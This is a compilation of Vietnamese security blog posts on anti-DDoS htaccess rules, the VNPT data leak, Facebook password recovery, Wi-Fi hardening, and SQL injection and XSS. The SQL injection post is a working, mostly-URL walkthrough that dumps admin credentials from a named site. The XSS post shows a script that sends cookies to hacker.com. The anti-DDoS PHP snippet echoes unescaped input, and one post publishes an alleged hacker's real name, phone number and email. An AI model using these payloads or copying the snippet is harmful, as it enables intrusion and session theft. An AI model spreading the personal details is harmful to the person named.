[Bảo mật] Anti DDOS bằng htaccess

[Bảo mật] Anti DDOS bằng htaccess

1. DDoS là gì ?
Tấn công bằng từ chối dịch vụ DoS (Denial of Service) có thể mô tả như hành động ngăn cản những người dùng hợp pháp khả năng truy cập và sử dụng vào một dịch vụ nào đó. Nó bao gồm làm tràn ngập mạng, mất kết nối với dịch vụ… mà mục đích cuối cùng là máy chủ (Server) không thể đáp ứng được các yêu cầu sử dụng dịch vụ từ các máy trạm (Client).

DoS có thể làm ngưng hoạt động của một máy tính, một mạng nội bộ, thậm chí cả một hệ thống mạng rất lớn. Về bản chất thực sự của DoS, kẻ tấn công sẽ chiếm dụng một lượng lớn tài nguyên mạng như băng thông, bộ nhớ… và làm mất khả năng xử lý các yêu cầu dịch vụ từ các client khác. 

Tại sao DDoS - Một hình thái tấn công từ chối dịch vụ đã được các hacker chân chính không còn thừa nhận nữa - lại đang phổ biến và trở thành thứ vũ khí nguy hiểm đến mức không thể chống đỡ? Trong nhiều nguyên nhân, có một điều đau lòng là DDoS phát sinh từ chính những tham vọng xấu khi làm chủ và điều khiển được thông tin của những cá nhân.

2. Cách phòng chống & hạn chế ?
Tấn công DDoS đến nay trên thế giới hầu như chưa có cách ngăn chặn triệt để 100%, tuy nhiên chúng ta có thể sử dụng tường lửa (firewall) để phòng chống & hạn chế một phần sức mạnh & tác hại của nó. Dưới đây là chi tiết hướng dẫn cách setup một firewall đơn giản nhưng không kém phần hiệu quả nhằm giảm thiểu "cơn giận" của "con quái thú" DDoS.
Bước 1: Tạo file .htaccess tại thư mục bị DDoS access/request liên tục (thông thường là các thư mục public_html, forum, diendan, 4rum, shop, blog, f v.v...). Nội dung file như sau:
Code:
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?tendomain.com [NC]
RewriteRule !antiddos.phtml http://tendomain.com/antiddos.phtml?%{REQUEST_URI} [QSA]
Bước 2: Tại cùng thư mục, tạo file antiddos.phtml với nội dung:
Code:
<?
$text=$HTTP_SERVER_VARS['QUERY_STRING'];
$text = preg_replace("#php\&#si",'php?',$text);
echo('<center><a href=http://tendomain.com'.$text.'>[Click vao day]</a><br>de vao dien dan.</center>');
?>

Theo beehost
[Whitehat.vn]Vụ hack VNPT: thủ phạm tấn công và các vấn đề liên quan

[Whitehat.vn]Vụ hack VNPT: thủ phạm tấn công và các vấn đề liên quan

Chào các bạn, hôm nay đọc thấy có vụ VNPT bị hack, nhiều báo đăng.

http://ictnews.vn/cntt/bao-mat/thong...hai-124195.ict
http://sohoa.vnexpress.net/tin-tuc/d...r-3157532.html

Mấy cái lỗ hổng là chuyện thường ngày, lập trình viên ở VN đa số làm cho xong, nhất là mấy trang đặt hàng theo đấu thầu của mấy cơ quan nhà nước nên cứ làm chạy được là tốt lắm rồi.

Đọc qua thông tin, chủ nhật rảnh rỗi, kết hợp với vài cú Google, mình phát hiện ra vài điều, xin chia sẻ cùng các bạn, có điều gì thấy chưa đúng, mọi người cứ trao đổi.

1. DIE Group là ai ?- Thông tin kẻ tấn công: nhóm hacker tấn công tự xưng là DIE Group


Tên người post bài này đã bị xóa mờ, nhưng qua giọng điệu thì đây khả năng sẽ là Admin của nhóm này.
Thử Google từ khóa “Admin DIE Group” ra 3 kết quả tìm kiếm “khả nghi” liên quan tới tấn công DDoS


Thử bấm vào 1 link thì ra thông tin sau, ô tìm được Admin của DIE Group là JCAlex Min rồi.


Thử search thêm thì hóa ra đồng chí JCAlex Min này trẻ trâu phết, DDoS 1 loạt các site và Forum, sau đó quay clip up lên Youtube. Điểm qua các “thành tích” DDoS thì thấy có Voz, Tech24.vn, SinhvienIT.net và cả Whitehat.vn 

Rảnh rỗi ngồi xem mấy cái clip, cái Clip DDoS Voz mới nhất vào 5/2/2015 - https://www.youtube.com/watch?v=L9fm3XYZbUo thì hay quá, JCAlex Min này tự tin vừa tấn công vừa chat FB với nhóm DIE Group, dễ dàng nhận thấy nick FB của JCAlex Min là “Hoàng Phúc”  (các bạn xem vào phút 1:30 nhé).


Xem tiếp, thì JCAlex min lại “vô tình” để lộ các thành viên khác trong DIE Group, ta cùng điểm mặt
- Hoàng Phúc.
- Hiếu Phạm
- Kit Hero
- Sasuke Hero
- Dimitri Putin Jr.
- Dương Đoàn
- Duy Skye Lê
- …

Ảnh chụp từ clip của JCAlex Min

Như vậy tới đây ta đã biết DIE Group sơ bộ gồm những nick nào (tất nhiên tới giờ có đổi nick dùng tên thật theo yêu cầu của anh Mark hay không thì mình không biết). Các thành viên trong DIE Group chắc phải cám ơn JCAlex Min vì đã làm cho mình nổi tiếng 

Và bây giờ câu hỏi cuối cùng về DIE Group là: Vậy tóm lại có ai có tên tuổi có thẻ tóm đuôi được nào, chứ trên mạng thì nick FB chả để làm gì.
Trả lời câu hỏi này, tôi lại Google cái nữa, cái này có cả tên thật và số điện thoại nhé 


Vậy chốt lại: DIE Group có Admin là JCAlex Min, tên thật là Nguyễn Lê Hoàng Phúc, năm nay 25 tuổi (năm 2013 là 23 tuổi ), ĐT: 0188.790.355, Gmail: jcalexmin@gmail.com.

Và ảnh bạn ấy đây:



Tôi tự hỏi tại sao hacker mà lại ẩu tới mức lộ nhiều thông tin thế, tôi tìm được cái này, các bạn chịu khó đọc:
http://huytq.me/blog/2014/10/30/gui-...calex-min.html

2. Các vấn đề xung quanh vụ việc này

Quay trở lại thông tin vụ hack được phát đi từ trang Security Daily, nếu tinh mắt, các bạn sẽ thấy DIE Group là nhóm kín, tức là chỉ những thành viên của nhóm mới xem được các thông tin

Ảnh: Security Daily
Tôi thấy có 2 câu hỏi cần đặt ra ở đây


  • Thứ nhất: Tại sao SecurityDaily có được ảnh chụp màn hình này khi nhóm này là đóng, người ngoài không xem được ?


Và câu trả lời đơn giản là SecurityDaily có người thuộc DIE Group hoặc ít nhất có quan hệ với thành viên nào đó thuộc Group này. Đây là thông tin tốt hỗ trợ điều tra tìm ra thủ phạm tấn công vào VNPT.

  • Thứ hai: Vậy mục đích thực sự của SecurityDaily là gì ? có phải muốn cảnh báo thực sự không hay vì lý do gì khác ?


Tôi tiếp tục lục lại bài gốc trên trang của SecurityDaily http://securitydaily.net/nhom-die-gr...hang-cua-vnpt/
Đọc tới cuối bài ở dòng khoanh đỏ ở ảnh trên, chắc hẳn bạn cũng cảm nhận thấy phải chăng đó chính là mục tiêu PR và câu view cho website của SecurityDaily ? Tôi chưa bao giờ thấy một việc khẩn cấp, cảnh báo mà lại chỉ gửi mail để thông báo cả. Nhất là khi chưa có phản hồi của “nạn nhân” đã vội vàng đưa thông tin ra công cộng ngay.

Link:http://whitehat.vn/threads/11528-Vu-hack-VNPT-thu-pham-tan-cong-va-cac-van-de-lien-quan.html

 _conan_ - Whitehat.vn
[Bảo mật] Phải làm gì khi bị mất mật khẩu Facebook?

[Bảo mật] Phải làm gì khi bị mất mật khẩu Facebook?

Hiện tại, người dùng đang phải đối mặt với nguy cơ mất Facebook cá nhân khi vấn nạn bị report đang ngày càng trở nên nguy hiểm và có quy mô lớn hơn. Nhiều người bị mất nick không rõ lý do và thực sự việc phục hồi hiện thời là hên - xui bởi số lượng người dùng trên Facebook quá lớn.

Trường hợp bị người khác hay tập hợp một nhóm người report thật sự khó cứu vãn đối với người dùng Facebook. Đầu tiên, họ sẽ không rõ lý do, hoặc vô tình không để ý sẽ khiến tài khoản Facebook cá nhân không cánh mà bay và gần như "vô phương cứu chữa", điểm duy nhất mà người dùng dựa vào lúc này đó là may mắn. Các Facebook cá nhân bị report đều phải chờ xét duyệt theo quy tắc chuẩn của mạng xã hội này và trung tâm điều hành không có quá nhiều thời gian để xem xét từng trường hợp bị khóa để mở lại. Nên việc được mở lại một trang cá nhân nào đó tại thời điểm này hay thậm chí là mãi về sau cũng là hên, xui chứ không hoàn toàn là có thể khôi phục được. Còn đối với việc mất mật khẩu thông thường, mọi chuyện trở nên đơn giản hơn rất nhiều.
Phải làm gì khi bị mất mật khẩu Facebook?
Các trình duyệt web hiện nay đều hỗ trợ thêm tính năng lưu mật khẩu và tự động đăng nhập sau mỗi lần truy nhập tên miền, Facebook không phải là ngoại lệ. Và khi đã thường xuyên sử dụng tính năng ghi nhớ mật khẩu trên máy tính, khi sử dụng trên máy tính hoặc một thiết bị di động khác bạn sẽ không thể nhớ nổi mật khẩu của mình. Hay đặc biệt hơn là bạn đang đối mặt với nguy cơ mất kiểm soát thông tin cá nhân, sự riêng tư của mình khi để các đối tượng có ý đồ xấu hack mất tài khoản. Các bước dưới đây sẽ giúp bạn nhanh chóng tìm lại mật khẩu.
Bước 1. Truy nhập và Facebook thông qua trình duyệt.
Phải làm gì khi bị mất mật khẩu Facebook?
Bước 2. Lựa chọn Quên mật khẩu, sau đó gõ địa chỉ mail đăng ký tài khoản Facebook của bạn rồi ấn Tìm kiếm.
Phải làm gì khi bị mất mật khẩu Facebook?
Bước 3. Có ba cách khôi phục mà Facebook cung cấp cho bạn bao gồm:
- Sử dụng tài khoản Google: Khi bạn sử dụng trình duyệt Chrome tất cả các mật khẩu sẽ được sao lưu tại tài khoản Google và việc đăng nhập sẽ khôi phục lại mật khẩu đã lưu cho bạn. Đây là phương pháp phục hồi nhanh gọn nhất.
Phải làm gì khi bị mất mật khẩu Facebook?
- Gửi liên kết đặt lại mật khẩu đến email: sử dụng phương pháp này khi bạn chắc chắn sử dụng email dành riêng cho tài khoản này và việc gửi mail sẽ bao gồm hai mail mà bạn đăng ký trước đó với Facebook. Sau đó Facebook sẽ gửi cho bạn đoạn mã vào trong mail, thông thường việc này sẽ diễn ra ngay tức thì ( nếu trong inbox mail không có bạn kiểm tra lại hòm spam nhé).
Phải làm gì khi bị mất mật khẩu Facebook?
Mail Facebook gửi vào hòm thư
Phải làm gì khi bị mất mật khẩu Facebook?
Điền mã nhận được từ Mail
Phải làm gì khi bị mất mật khẩu Facebook?
Thay đổi mật khẩu
Điền mã xác nhận và nhập mật khẩu mới, nên nhớ tích ô đăng xuất khỏi Facebook ở tất cả các nơi khác để tránh trường hợp xấu có thể xảy ra hay các ý đồ không tốt sẽ không thực hiện được mục đích của mình.
- Gửi tin nhắn có chứa mã đặt lại mật khẩu: Khi đăng ký Facebook, bạn sẽ có lựa chọn đăng nhập bằng số điện thoại, và số điện thoại này có thể sử dụng để nhận mã đặt lại mật khẩu giống như trong mail, các bước tiếp theo làm tương tự.
Như vậy, chỉ với ba bước bạn đã có thể khôi phục lại được tài khoản của mình khi bị các ý đồ xấu tấn công hay do đoảng mà quên mất chi tiết này.
Bên cạnh việc mất mật khẩu, nhiều người dùng còn thắc mắc tại sao Facebook cá nhân lại bị khóa tạm thời do đăng nhập từ nhiều thiết bị. Câu trả lời đơn giản là Facebook sẽ thu thập thói quen sử dụng của bạn để biết được bạn thường sử dụng những thiết bị nào, địa chỉ IP ở region nào để xác định đó có phải bạn hay không. Nếu như bạn sử dụng một thiết bị của ai đó để đăng nhập Facebook hay chỉ đơn giản là chế độ ẩn danh, Facebook sẽ tự động khóa tạm thời và cần phải qua một bước xác nhận để bạn có thể tiếp tục sử dụng. Thông thường, các khôi phục nhanh gọn và được nhiều người dùng lựa chọn là việc nhận diện ảnh bạn bè.
Trên đây là những các đơn giản để khôi phục trạng thái hoạt động tốt nhất cho Facebook cá nhân của bạn. Và có một lời khuyên nho nhỏ, nếu bạn bị mất mật khẩu và không có cách nào khôi phục, hãy nhờ bạn bè của mình "report" cho Facebook cá nhân bị mất đó "chết" hẳn luôn để tránh trường hợp xấu nhất là bị chia sẻ các bí mật riêng tư.
Quangtrimang.com.vn
[Tin Tức]Nhóm hacker Việt công khai thông tin hơn 50.000 khách hàng của VNPT

[Tin Tức]Nhóm hacker Việt công khai thông tin hơn 50.000 khách hàng của VNPT

Thông tin từ trang SecurityDaily.NET cho biết một nhóm hacker Việt với tên gọi DIE Group đã công khai hơn 50.000 thông tin khách hàng của một đơn vị thành viên của Tập đoàn Bưu chính Viễn thông Việt Nam - VNPT lên Internet và trên Facebook.

Trên Facebook của nhóm hacker DIE Group cho biết nhóm này đã cảnh báo lỗ hổng bảo mật nhưng không nhận được phản hồi từ đơn vị chủ quản website và lỗ hổng bảo mật cũng không được khắc phục. Do đó, nhóm DIE Group đã công khai danh sách của khách hàng VNPT trên một trang chia sẻ các tệp tin trực tuyến mega.co.nz và cho phép bất kỳ ai tải về.
Hình ảnh được chia sẻ bởi một thành viên trong nhóm DIE Group trên Facebook. Số lượng được chia sẻ là 10.000 nhưng theo ông Mr. Trần Quang Chiến, Giám đốc Công ty Cổ phần VNIST (VNIST Corp), người phụ trách website SecurityDaily.NET, qua phân tích công ty này phát hiện con số lên đến 50.000 thông tin tài khoản.
Nhóm DIE Group công khai danh sách 50.000 khách hàng của VNPT trên trang Facebook của mình.
Nhóm DIE Group công khai danh sách 50.000 khách hàng của VNPT trên trang Facebook của mình.

Ông Chiến cho biết thông tin tiết lộ bao gồm cả mật khẩu ở dạng bản rõ (chưa được mã hóa). Bất cứ ai có các thông tin này đều có thể đăng nhập vào tài khoản của người dùng trên website của VNPT.
Theo ông Trần Quang Chiến, việc để lộ các thông tin này chứng tỏ website của VNPT đang tồn tại các lỗ hổng nguy hiểm cho phép hacker có thể kiểm soát và lấy được hầu hết các thông tin trong cơ sở dữ liệu, rất có thể tài khoản quản trị cũng đã bị đánh cắp. Nhận định ban đầu cho thấy lỗ hổng này rất có thể là lỗ hổng SQL Injection, một lỗ hổng cực kỳ nguy hiểm và phổ biến trong các hệ thống website và đã được tin tặc khai thác rất nhiều để lấy các thông tin từ cơ sở dữ liệu của website, chiếm quyền kiểm soát website.
Thông tin chi tiết của 50.000 khách hàng VNPT được chia sẻ trên Internet.
Thông tin chi tiết của 50.000 khách hàng VNPT được chia sẻ trên Internet.

Nếu có được các thông tin này, một kẻ tấn công có thể lợi dụng để đăng nhập vào hệ thống và chiếm quyền của người dùng và thực hiện các bước tấn công leo thang đặc quyền khác. Ngoài ra, các thông tin bị tiết lộ kèm theo địa chỉ sẽ là miếng “mồi ngon” cho những kẻ phát tán tin nhắn rác, tin nhắn lừa đảo đến người dùng các đầu số thuê bao này.
Được biết, gần đây một số website của Việt Nam cũng bị nhóm DIE Group tấn công theo hình thức trên, nhưng họ thay đổi giao diện website để để cảnh báo là chính. Ông Chiến cũng cho biết, trước đó, ngày 8/3 vừa qua, website của Trường ĐH Luật cũng bị tấn công SQL Injection và thay đổi giao diện, do một nhóm hacker tự nhận đến từ Trung Quốc.
Hiện tại Dân trí đang liên lạc với VNPT để cập nhật thông tin về lỗ hổng trên.
[Bảo mật] 6 bước bảo mật mạng không dây trong gia đình bạn

[Bảo mật] 6 bước bảo mật mạng không dây trong gia đình bạn

Hầu hết chúng ta đề bật chức năng mã hóa cho mạng không dây, nhưng đó vốn chỉ là một trong 6 bước được đề cập trong bài viết này giúp mạng không dây của bạn an toàn và bảo mật trước tin tặc. Hình chụp dưới đây lấy từ bộ định tuyến không dây của Linksys. Nhưng bạn cũng có thể tìm thấy những tùy chọn tương tự từ các nhà sản xuất khác nhau. Đảm bảo rằng firmware bộ định tuyến được cập nhật.
1. Bật tính năng mã hóa
Hầu hết các bộ định tuyến không dây đều mặc định tắt tính năng mã hóa. Hãy đảm bảo rằng bạn đã bật tính năng mã hóa WPA hoặc WPA2. Chọn Wireless -> Wireless Security, để bật mã hóa và chọn mật khẩu như hình bên dưới. Dưới đây là những tùy chọn mã hóa không dây khác nhau:
  • WEP (Wired Equivalent Protection) 64-bit and 128-bit: WEP là chuẩn mã hóa không dây đã lỗi thời và dễ dàng bị tấn công. Không được sử dụng kiểu mã hóa này bởi tin tặc có thể phá chúng trong vài dây.
  • WPA (Wi-Fi Protected Access): WPA-PSK hay còn có tên WPA-Personal. Đây là một chuẩn mã hóa mới và bảo mật hơn WEP. Hầu hết các adapter không dây trên laptop của bạn đều hỗ trợ WPA.
  • WPA2: Đây là chuẩn mã hóa mới nhất cung cấp khả năng bảo mật tốt nhất. Luôn sử dụng WPA2 nếu bộ định tuyến và adapter của bạn hỗ trợ.
1-1-enable-encryption
 2. Thay đổi tên SSID
SSID (Service Set Identifier) hay còn gọi là tên kết nối không dây của bạn, bạn có thể thấy nó trong danh sách “Available Wireless Connections” từ laptop khi kết nối. Thay đổi tên này không phải là một biện pháp bảo vệ nhưng sẽ khiến tin tặc biết rằng bạn đã thực hiện các biện pháp bảo vệ kết nối không dây. Wireless -> Basic wireless settings -> Change the “Wireless Network Name (SSID) như trong hình 2.
3. Vô hiệu hóa SSID broadcast
Bạn có thể tránh hiển thị tên kết nối không dây của mình trong danh sách “Available Wireless Connections”  tất cả máy tính lân cận. Điều này có thể thực hiện bằng cách điều khiển bộ định tuyến không hiển thị tên. Khi bạn vô hiệu hóa SSID broadcast,  bất kì ai muốn kết nối đến mạng không dây của bạn họ sẽ phải được bạn cung cấp tên SSID. Chọn  Wireless -> Basic wireless settings -> Chọn Disable Wireless SSID Broadcast như trong hình bên dưới.
2-change-ssid-name
4. Bật bộ lọc MAC
Dù bạn đã thực hiện các bước từ 1 đến 3 thì những tin tặc cao tay vẫn có thể truy cập vào mạng của bạn. Bước bảo mật tiếp theo chỉ cho phép mạng không dây truy cập trên các máy tính tin cậy, bằng cách chỉ cho phép kết nối đến những địa chỉ MAC xác định.
Địa chỉ MAC (Media Access Control) là một địa chỉ định danh duy nhất trên các adapter mạng.
Trong Linux bạn thực hiện lệnh ifconfig để lấy địa chỉ không dây của phần cứng.
Trong Windows, thực hiện lệnh ipconfig/all để xác định địa chỉ MAC như dưới đây:
C:>ipconfig /all
Ethernet adapter Wireless Network Connection:
Connection-specific DNS Suffix  . : socal.rr.com
Description . . . . . . . . . . . : Dell Wireless 1390 WLAN Mini-Card
Physical Address. . . . . . . . . : 00:1A:92:2B:70:B6
Chọn Wireless -> Wireless MAC filter -> Chọn Enable Wireless MAC filter -> Chọn Permit only PCs listed to access the wireless network  như hình dưới đây:3-enable-mac-filter
Chọn Edit Mac filter list và thêm địa chỉ MAC của bạn vào danh sách này. Nếu bạn muốn các máy tính khác truy cập bạn chỉ cần thêm địa chỉ MAC của máy đó vào danh sách sau đó chọn Save Settings.
3-add-mac-address-list
5. Thay đổi mật khẩu Web Access
Mật khẩu mặc định để truy cập vào giao diện web của bộ định tuyến được cung cấp bởi nhà sản xuất rất dễ đoán bạn cần thay đổi mật khẩu mặc định bằng một mật khẩu mạnh. Chọn  Administration -> Managemen như dưới đây:
5-disable-wireless-web-access
6. Vô hiệu hóa truy cập của quản trị viên thông qua web
Bước cuối cùng, đảm bảo bạn có thể vô hiệu hóa truy cập quản trị viên thông qua mạng không dây.  Để thực hiện bất kì cài đặt thay đổi nào, bạn phải kết nối với bộ định tuyến bằng một dây cáp kết nối. ChọnAdministration -> Management -> Disable Wireless Access Web như trong hình bên trên.
thegeekstuff
[Hack] Khai Thác SQL Injection Đối Với My SQL

[Hack] Khai Thác SQL Injection Đối Với My SQL


I. Hướng dẫn cơ bản khai thác SQL Injection đối với MySQL 
Demo: Khai thác SQL Injection trong Basic PHP Events Lister 1.0 

Đầu tiên với URL: http://seamoun.com/phpevents/event.php?id=1 
Thực hiện thêm dấu ' sau id=1. URL trở thành http://seamoun.com/phpevents/event.php?id=1' 
Ta phát hiện rằng phpvents có lỗi SQL Injection với thông báo sau: 

Code:

Warning: mysql_numrows(): supplied argument is not a valid MySQL result resource in C:\xampp\htdocs\phpevents\event.php on line 37


Đối tượng khai thác SQL Injection ở đây là "Basic PHP Events Lister 1.0". Giả sử chúng ta không biết trường và bảng của ứng dụng web này là gì? 
Với lỗi SQL Injection gây ra bởi URL trên ta xem thử truy vấn (SQL) của nó liệu có bao nhiều trường. Sở dĩ cần xác định điều này 
bởi vì khi chúng ta dùng UNION trong câu lệnh SQL thì số lượng trường của hai câu lệnh select phải trùng nhau. 
(Các bạn không rõ vấn đề này thì xem ý nghĩa câu lệnh SQL. Ở đây mình không giải thích vì hiển nhiên phải hiểu rõ SQL mới khai thá được). 
Xác định có bao nhiêu trường truy vấn với URL http://seamoun.com/phpevents/event.php?id=1 có rất nhiều cách để thực hiện. Ở đây mình sử dụng order by <num>. Thực hiện tăng dần <num>. Khi thực hiện order by <num>, nếu trang web không hiển thị lỗi tức là số lượng trường vẫn còn, thực hiện tăng <num> cho đến khi nào xuất hiện lỗi tức là ta đã thực hiện tìm đủ số lượng trường. 

Lần lượt mình thử: 
Code:

http://seamoun.com/phpevents/event.php?id=1 order by 1
 http://seamoun.com/phpevents/event.php?id=1 order by 2
 http://seamoun.com/phpevents/event.php?id=1 order by 3
...

 http://seamoun.com/phpevents/event.php?id=1 order by 15 (<-- Vẫn OK)
 http://seamoun.com/phpevents/event.php?id=1 order by 16 (Xuất hiện lỗi)


Như vậy truy vấn SQL với URL trên là 15 trường (field) 
Đến đây có thể điều tra phiên bản SQL, user với lệnh sau 
Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,@@version,1,1,1,1,1,1,1,1,1,1,1,1,1

 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user(),1,1,1,1,1,1,1,1,1,1,1,1,1



Sau khi đã có số lượng trường rồi thì lúc này sẽ tiến hành đoán bảng (table) login của nó: có thể thử với các table thông dụng như 
manager, admin, administrator, systemlogin, ... (Việc đoán table thuộc về kinh nghiệm, kết hợp với việc crawl, spider nội dung web mà mình khai thác). Nếu như tên bảng không đúng thì khi thực hiện union all select ... nó sẽ thông báo lỗi, ngược lại nếu tên đúng thì nó chạy OK. Tiến hành thử tìm table như sau: 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from systemlogin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from manager (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Sau khi đoán được tên table là admin. Tiếp theo là dự đoán tên trường trong bảng admin mà mình đã lấy được. 
Có thể đoán tên trường trong bảng admin như là username,uname,user, ... pass, passwd, password, pword, .... (Tương tự như trên cũng tùy thuộc vào kinh nghiệm kết hợp với việc crawl, spider nội dung web để tìm tên trường). Tiền hành thử như sau 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,username,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,user,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,uname,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)

Như vậy trường thứ nhất ta đoán được là uname trong bảng admin. Thực hiện đoán trường mật khẩu

 http://seamoun.com/phpevents/event.php?id=1 union all select 1,password,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,passwd,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (Fail)
 http://seamoun.com/phpevents/event.php?id=1 union all select 1,pword,1,1,1,1,1,1,1,1,1,1,1,1,1 from admin (OK)


Như vậy ta đoán được trường mật khẩu là pword. Như vậy ta đã có thông tin đầy đủ để lấy user và pass trong bảng admin với 
2 trường uname và pword + tên bảng là admin 
Thực hiện lệnh: 

Code:

http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin.


Thực chất với hai câu lệnh trên thì ta tìm được user và pass nhưng muốn thực hiện lệnh http://seamoun.com/phpevents/event.php?id=1 union all select 1,concat(uname,0x3a,pword),1,1,1,1,1,1,1,1,1,1,1,1,1 from admin. Để có được tất cả user và pass trong bảng admin. Nếu trường hợp này xuất hiện lỗi ta có thể thêm limit 0,1 và tăng dần limit 1,1 limit 2,1 để lấy hết tất cả user và pass 

Sở dĩ thực hiện câu lệnh trên để đồng thời lấy uname và pword không cần phải thực hiện 2 lần mới có được uname và pword. 
0x3a---> dấu ":". Concat sẽ thực hiện cộng chuỗi 

Đến đây ta đã có thông tin uname và pword. 
Nếu trường hợp mà kết nối đến MySQL sử dụng user root thì việc tìm bảng và trường dễ dàng hơn với lệnh sau 

Code:

Điều tra thông tin bảng:

 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,table_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.tables

Điều tra thông tin trường:

 http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,column_name,1,1,1,1,1,1,1,1,1,1,1,1 from information_schema.columns


Ngoài ra trong một số trường hợp xuất hiện lỗi khi thực hiện khai thác có thể sử dụng hàm convert, hex, ... để không bị lỗi khi khai thác như: 
http://seamoun.com/phpevents/event.php?id=1 union all select 1,1,unhex(hex(uname)),1,1,1,1,1,1,1,1,1,1,1,1 from admin 
[Hack] Tìm hiểu lỗi Xss

[Hack] Tìm hiểu lỗi Xss

Cross-site Scripting (XSS) là lỗ hổng cho phép hacker có thể chèn những đoạn mã client-script (thường là Javascript hoặc HTML) vào trang web, khi người dùng vào những trên web này, mã độc sẽ được thực thi trên máy của người dùng.
Khác với SQL Injection tấn công vào CSDL của website, XSS tấn công trực tiếp vào người dùng. Lợi dụng lỗi XSS, hacker có thể lừa đảo quản trị của website, ăn cắp cookie, chiếm sesion… từ đó có thể đăng nhập chiếm quyền điều khiển website.

PHÂN LOẠI LỖI XSS

• STORED-XSS

Là lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server, như trong CSDL dưới dạng các comment trong blog, message trong forum hoặc các visitor log. Ví dụ dưới đây minh họa cho Stored-XSS. Ta có một trang web mà người dùng có thể để lại những lời nhắn như sau:
XSS
Thay vì nhập vào lời nhắn bình thường, ta nhập vào đoạn mã sau:
Xin <script>alert(“XSS”)</script>chào!
Kết quả:
XSS
Ở đây, đoạn mã <script>alert(“XSS”)</script> được chèn vào trong lời nhắn, và ngay lập tức nó được thực thi như hình trên. Vì các lời nhắn được lưu trữ trong database nên bất cứ người dùng nào khi truy cập vào trang web này sẽ thực thi đoạn mã trên. Thay vì một đoạn mã vô hại như trên, hacker có thể thay bằng các đoạn mã nguy hiểm khác nhằm gây hại đến người dùng.

• REFLECTED-XSS:

Khác với Stored-XSS, Reflected-XSS đoạn mã khai thác sẽ không được lưu trữ trên server. Một ví dụ điển hình của Reflected-XSS là kết quả trả về của module search:
XSS
Ta thấy từ khóa tìm kiếm mà ta nhập vào ô textbox được hiển thị lại trên trình duyệt. Lợi dụng việc không kiểm soát giá trị này, ta có thể chèn thêm đoạn mã gây hại vào. Đường link sẽ có dạng:
http://tek.eten.vn/xss/reflected/index.php?q=<script>alert(“XSS”)</script>
Tuy nhiên đoạn mã độc hại không được lưu lại trên server nên chỉ khi chạy đường link trên, người dùng mới bị tấn công.
XSS
Kịch bản điển hình nhất khi khai thác XSS là hacker chèn đoạn javascript như sau vào website:
1<script type="text/javascript">
2document.write("<iframe width=0 height=0
3src=http://hacker.com/getcookie.php?cookie=",
4document.cookie,">");
5</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie, hacker có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

PHÒNG CHỐNG

Người ta không lường hết được mức độ nguy hiểm của XSS nhưng cũng không quá khó khăn để ngăn ngừa XSS. Giống như SQL Injection, bản chất của lỗi XSS là không kiểm soát kỹ dữ liệu nhập đầu vào, vì thế biện pháp hiệu quả nhất là kiểm tra kỹ dữ liệu nhập vào từ người dùng, chặn các từ khóa nguy hiểm, chỉ chấp nhận những dữ liệu hợp lệ.
Một trong những cách khác hay sử dụng mà không cần kiểm soát đầu vào từ người dùng là mã hoá các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng. Ví dụ thẻ<script> sẽ được đổi thành &lt;script&gt;như vậy nó sẽ vẫn được in ra màn hình đúng định dạng mà không hề gây nguy hiểm cho người sử dụng.
1include("../../connect.php");
2$query "select * from message order by time desc";
3$result = mysql_query($query);
4$numRow = mysql_num_rows($result);
5if ($numRow != 0){
6 while($row = mysql_fetch_array($result))
7 echo $row["content"];
8}
Ta thấy ở đoạn code trên biến $row["content"] được in trực tiếp ra mà không qua xử lý. Trường content được nhập vào từ người dùng nên đoạn code này chắc chắn có lỗi XSS. Để khắc phục ta sẽ mã hóa các ký tự đặc biệt của HTML với hàm htmlentities(). Mã nguồn được chỉnh sửa lại như sau:
1echo htmlentities($row["content"]);
Phương pháp này cũng có thể áp dụng với các ngôn ngữ Web khác như ASP, JSP,…

Theo dõi truy cập